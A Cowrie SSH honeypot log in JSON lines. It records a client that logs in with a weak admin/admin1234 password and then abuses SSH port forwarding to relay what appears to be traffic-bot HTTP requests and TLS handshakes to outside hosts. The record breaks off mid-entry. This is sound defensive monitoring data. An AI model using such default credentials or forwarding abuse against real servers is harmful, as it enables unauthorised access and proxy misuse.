{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:32.529244Z","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.079411Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1138\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T738U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MTxTVnloRn0jN3A%2BSV90MQ%3D%3DmdXYJW3ixnKxqC9jn2RRaDu2ardsvGmGuLqCxB13wTRJWITeKqxg0OAB8kFmkS2SVFUdcBInE7bzCjtTVVQhNfNv5j7f8DADsGsjvdIJOCWTe6D4%2B6nbuLJIOiNXGUMj739PPWlGTmD5RAcBnQpebqSzJHUmTMktmbCmGRXUCMf65jQmwWOpdgqK4eEqpqn3djKd5C0naAoz4J%2FsNnNmBm3Cx9e8zZYdfkAH4k%2Ftni0ln7aniA1jx0J0cqzfqkTb6IB3L%2BQV9Qqf5PV4SMI5cKwudS5PX13DmFOkVP1Bn%2FxaPqqe5sBqy3yn1CqXJNVaoAMhSW7m0RXIL0SyhJFBk51zSY1sy6beGaDV%2BevVdIjEhvJT3cMRj3moFGXMls53T9Qyu13D5thIv8VBguJGxnAZKRop8HxEJGflGs9v4eei9Ws%2BfFFpWdxK5C5IL47SZ9XPklIoKKU55EU6jKproXCsDwbKsm8FtE3JERNWU5OLojNZG8xZKjVBvGL347Hk6ZzUBCWQgv5MJVzyHZv4laCfF8dJvxiKG6LivfE9YKCdPnKhBp%2Fy3BxNoXBVrIwa9XuwiErqnVIUxNXjycK4c5ys9HKCIJHbK9aGzApSD5vjvvbsAi1bPInb6TRDA%2FiLF4GOVJnUPnE48AKyvxGp6r9Zg1hSiWyhC89ZgBOlfZX09WNQUnrmGoLGWWXPXgo%2FYfgfHL8hrwQNqS%2Bves5ABroMyVYRXINmaDqi8SsDtx6t2BY2cWEYZslXwHSzv9Wec0eEUO1uQreZpUD52QS4ZJkb7sZK7IVE14Q5n7Kw0Nnb0A5kF6zSKJLwtsUvI3TXvE88nZSSfMEtewjCjU8k4CA%2F4u5wjS8ovMJ3qOTnNktnMTvY5MpfhZ38AwY7AvGyMN6wWDS5eite5CEDq9dp%2FinrSuSccfTbvUVYQa5vSGwooA5i00udYyYLYhEYZqQ5JM1zTdC2zKUuOQ0ccrDwJHD2gAbe3beC6%2B1eg3eUxKq0eYXQ9jFvQrjs7NO2Kq%2FzuLEmoZ0FL1OI%2BAhp%2F%2FSe6evHizC1WZBTvnxA3DoHBJ0%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1138\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T738U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MTxTVnloRn0jN3A%2BSV90MQ%3D%3DmdXYJW3ixnKxqC9jn2RRaDu2ardsvGmGuLqCxB13wTRJWITeKqxg0OAB8kFmkS2SVFUdcBInE7bzCjtTVVQhNfNv5j7f8DADsGsjvdIJOCWTe6D4%2B6nbuLJIOiNXGUMj739PPWlGTmD5RAcBnQpebqSzJHUmTMktmbCmGRXUCMf65jQmwWOpdgqK4eEqpqn3djKd5C0naAoz4J%2FsNnNmBm3Cx9e8zZYdfkAH4k%2Ftni0ln7aniA1jx0J0cqzfqkTb6IB3L%2BQV9Qqf5PV4SMI5cKwudS5PX13DmFOkVP1Bn%2FxaPqqe5sBqy3yn1CqXJNVaoAMhSW7m0RXIL0SyhJFBk51zSY1sy6beGaDV%2BevVdIjEhvJT3cMRj3moFGXMls53T9Qyu13D5thIv8VBguJGxnAZKRop8HxEJGflGs9v4eei9Ws%2BfFFpWdxK5C5IL47SZ9XPklIoKKU55EU6jKproXCsDwbKsm8FtE3JERNWU5OLojNZG8xZKjVBvGL347Hk6ZzUBCWQgv5MJVzyHZv4laCfF8dJvxiKG6LivfE9YKCdPnKhBp%2Fy3BxNoXBVrIwa9XuwiErqnVIUxNXjycK4c5ys9HKCIJHbK9aGzApSD5vjvvbsAi1bPInb6TRDA%2FiLF4GOVJnUPnE48AKyvxGp6r9Zg1hSiWyhC89ZgBOlfZX09WNQUnrmGoLGWWXPXgo%2FYfgfHL8hrwQNqS%2Bves5ABroMyVYRXINmaDqi8SsDtx6t2BY2cWEYZslXwHSzv9Wec0eEUO1uQreZpUD52QS4ZJkb7sZK7IVE14Q5n7Kw0Nnb0A5kF6zSKJLwtsUvI3TXvE88nZSSfMEtewjCjU8k4CA%2F4u5wjS8ovMJ3qOTnNktnMTvY5MpfhZ38AwY7AvGyMN6wWDS5eite5CEDq9dp%2FinrSuSccfTbvUVYQa5vSGwooA5i00udYyYLYhEYZqQ5JM1zTdC2zKUuOQ0ccrDwJHD2gAbe3beC6%2B1eg3eUxKq0eYXQ9jFvQrjs7NO2Kq%2FzuLEmoZ0FL1OI%2BAhp%2F%2FSe6evHizC1WZBTvnxA3DoHBJ0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.082387Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.087145Z","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.334326Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81@\\xc7N\\xaf\\x8b#\\xe1<\\x03\\x06U\\x94P\\xf9\\xb2\\x83\\x8cf:\\xcf\\xf1A\\xae\\xa95VF.\\x82\\n  \\xea\\xed\\xd4]6\\x85\\xd6\\xed\\xa4\\x1d\\x84\\xdc\\xfb.+\\x0b~\\xaf\\x12b\\xd6\\xady\\x1fh\\x88\\xbf`h~\\xd0X\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xcf\\xc6%\\xb2\\xf2B\\xda\\xa8\\x8d\\xf0\\xae\\x8f\\x02\\x07\\x10\\xeb56\\xf5!k\\xae\\xc4LT:|F0_;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81@\\xc7N\\xaf\\x8b#\\xe1<\\x03\\x06U\\x94P\\xf9\\xb2\\x83\\x8cf:\\xcf\\xf1A\\xae\\xa95VF.\\x82\\n  \\xea\\xed\\xd4]6\\x85\\xd6\\xed\\xa4\\x1d\\x84\\xdc\\xfb.+\\x0b~\\xaf\\x12b\\xd6\\xady\\x1fh\\x88\\xbf`h~\\xd0X\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x85\\xcf\\xc6%\\xb2\\xf2B\\xda\\xa8\\x8d\\xf0\\xae\\x8f\\x02\\x07\\x10\\xeb56\\xf5!k\\xae\\xc4LT:|F0_;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.337344Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.584023Z","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.830341Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1cG\\xb9Xj|mI\\x9c\\xcc\\xe8q*\\x92z\\x1eZ\\r\\xc5.1l\\x86\\xa0\\x83r\\xc7\\xf3\\xfd\\xf0\\xc3* ^\\x0b\\'\\xd0\\xda\\xb7\\xc5\\xc53\\x84\\x1b<\\xb1UzYn\\xe1\\x1a\\xb8\\x06\\xcd\\xfb\\xf6~D*vK\\xc5Y\\xd1\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xeci3\\xd1\\x92\\xc9\\x84\\xb7\\xe1.\\xeeXV\\xaf\\x80\\xe5\\xc0\\x9b\\xb5\\xdf\\xe3\\x11\\x1e\\x87@P\\xed\\x8d<\\x15`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1cG\\xb9Xj|mI\\x9c\\xcc\\xe8q*\\x92z\\x1eZ\\r\\xc5.1l\\x86\\xa0\\x83r\\xc7\\xf3\\xfd\\xf0\\xc3* ^\\x0b\\'\\xd0\\xda\\xb7\\xc5\\xc53\\x84\\x1b<\\xb1UzYn\\xe1\\x1a\\xb8\\x06\\xcd\\xfb\\xf6~D*vK\\xc5Y\\xd1\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc6\\xeci3\\xd1\\x92\\xc9\\x84\\xb7\\xe1.\\xeeXV\\xaf\\x80\\xe5\\xc0\\x9b\\xb5\\xdf\\xe3\\x11\\x1e\\x87@P\\xed\\x8d<\\x15`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:33.832895Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:34.238344Z","src_ip":"123.27.168.40","session":"6a2267248c49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60611,"dst_ip":"10.17.0.5","dst_port":22,"session":"112b06e53c0b","protocol":"ssh","message":"New connection: 123.27.168.40:60611 (10.17.0.5:22) [session: 112b06e53c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:49.013322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:49.017142Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:49.273545Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:50.385234Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:50.884471Z","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.021485Z","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:51.438265Z","src_ip":"123.27.168.40","session":"112b06e53c0b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 